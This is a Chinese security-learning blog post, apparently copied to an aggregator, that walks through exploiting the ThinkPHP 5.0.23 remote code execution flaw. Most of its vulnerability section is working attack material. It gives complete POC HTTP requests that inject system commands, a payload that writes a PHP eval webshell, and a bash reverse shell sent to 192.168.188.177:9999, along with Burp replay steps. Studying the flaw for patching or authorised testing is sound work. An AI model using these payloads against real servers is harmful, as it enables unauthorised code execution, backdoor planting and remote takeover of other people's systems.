码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 网络安全深入学习第二课——热门框架漏洞(RCE—Thinkphp5.0.23 代码执行)


    文章目录

    • 一、什么是框架?
    • 二、导致框架漏洞原因
    • 二、使用步骤三、ThinkPHP介绍
    • 四、Thinkphp框架特征
    • 五、Thinkphp5.0.23 远程代码执行
      • 1、漏洞影响范围
      • 2、漏洞成因
    • 六、POC数据包
      • Windows下的
      • Linux下的
    • 七、漏洞手工复现
      • 1、先Burp抓包,把抓到的请求包发送到重放模块
      • 2、把数据包改成POST请求
      • 3、按照POC构造请求包,然后重放
      • 4、写入shell
      • 5、反弹shell
        • 1)建立监听
        • 2)发送POC请求包
        • 3)返回监听端查看,发现shell已经反弹回来了
    • 八、漏洞工具复现
      • 1、工具
      • 2、脚本
    • 九、扩展-反弹shell


    一、什么是框架?

    简言之,别人帮你建好了房子但尚未装修,你需要在别人设计好的户型里去装修,省去你搬砖的重复性操作。


    二、导致框架漏洞原因

    框架存在环境缺陷,使用了不安全的版本从而导致的。


    二、使用步骤三、ThinkPHP介绍

    ------ ThinkPHP发展至今,核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、ThinkPHP 5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而ThinkPHP 3系列也积累了较多的历史用户。

    ------ 从数据来看,thinkphp 3系列版本的漏洞多是2016/2017年被爆出,而ThinkPHP 5系列版本的漏洞基本为2017/2018年被爆出,从2020年开始,ThinkPHP 6系列的漏洞也开始被挖掘。

    ------ 根据ThinkPHP版本,如是5.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞,无需登录,即可执行任意命令,获取服务器最高权限。
    在这里插入图片描述


    四、Thinkphp框架特征

    • 报错会出现以下样式的
      在这里插入图片描述
      在这里插入图片描述
    • 网站icon存在下面图标的
      在这里插入图片描述

    五、Thinkphp5.0.23 远程代码执行

    1、漏洞影响范围

    版本是:
    5.x < 5.1.31
    Thinkphp 5.0.x<= 5.0.23

    2、漏洞成因

    ------ 该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞


    六、POC数据包

    Windows下的

    POST /index.php?s=captcha HTTP/1.1
    Host: localhost
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 72
    
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]= id 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • POC参数解析
      • _method=__construct 为了能够进入construct,从而覆盖变量
      • filter[]=system 覆盖变量
      • method=get 因为captcha的路由规则是get方式下的,所以我们得让method为get,才能获取到captcha的路由
      • s=captcha 因为在进入exec函数后我们要switch到method中执行param函数,而这个captcha的路由刚好对应类型为method,所以我们选择captcha
      • get[]=id 覆盖变量

    Linux下的

    _method=__construct&filter[]=system&method=get&get[]=pwd
    
    • 1
    • GET请求的:
    ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    
    • 1
    • 写入shell
    ?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php
    
    • 1

    七、漏洞手工复现

    1、先Burp抓包,把抓到的请求包发送到重放模块

    在这里插入图片描述

    2、把数据包改成POST请求

    在这里插入图片描述
    在这里插入图片描述

    3、按照POC构造请求包,然后重放

    这里就使用pwd命令来查看路径
    在这里插入图片描述
    在这里插入图片描述

    4、写入shell

    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "" > 1.php
    
    • 1

    在这里插入图片描述
    在这里插入图片描述
    这样子就写下来了。

    5、反弹shell

    POC(需进行url编码)

    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-c+"bash+-i+>%26+/dev/tcp/192.168.188.177/9999+0>%261"
    
    • 1

    1)建立监听

    在这里插入图片描述

    2)发送POC请求包

    在这里插入图片描述

    3)返回监听端查看,发现shell已经反弹回来了

    在这里插入图片描述


    八、漏洞工具复现

    1、工具

    在这里插入图片描述
    在这里插入图片描述

    2、脚本

    在这里插入图片描述
    在这里插入图片描述

    这里要注意,在windows操作时,要写入shell时,直接在cmd里面操作,控制台不会直接识别 < 、’ 、” 等特殊符号,这时就需要使用 ^ 来进行转义。

    例如下面这个写入shell是无法执行的:
    在这里插入图片描述
    这时使用 ^ 来进行转义就可以识别了
    在这里插入图片描述


    九、扩展-反弹shell

    • 什么是反弹shell(reverse shell)?
      就是控制端监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell差不多对应,本质上是网络概念的客户端与服务端的角色反转。

    • 为什么需要反弹shell?
      反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。


  • 相关阅读:
    论软件的可靠性设计
    【kubernetes】kubernetes二次开发
    jmeter(三十三):阶梯线程组Stepping Thread Group,并发线程Concurrency Thread Group
    Java版企业电子招标采购系统源码Spring Cloud + Spring Boot +二次开发+ MybatisPlus + Redis
    遥感数据与作物模型同化技术
    前端——router路由
    必备元器件知识1——电阻
    js手写红绿灯(带优化版)
    采用动态权重和概率扰动策略改进的灰狼优化算法-附代码
    【数据结构】树与二叉树
  • 原文地址:https://blog.csdn.net/p36273/article/details/132920131
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号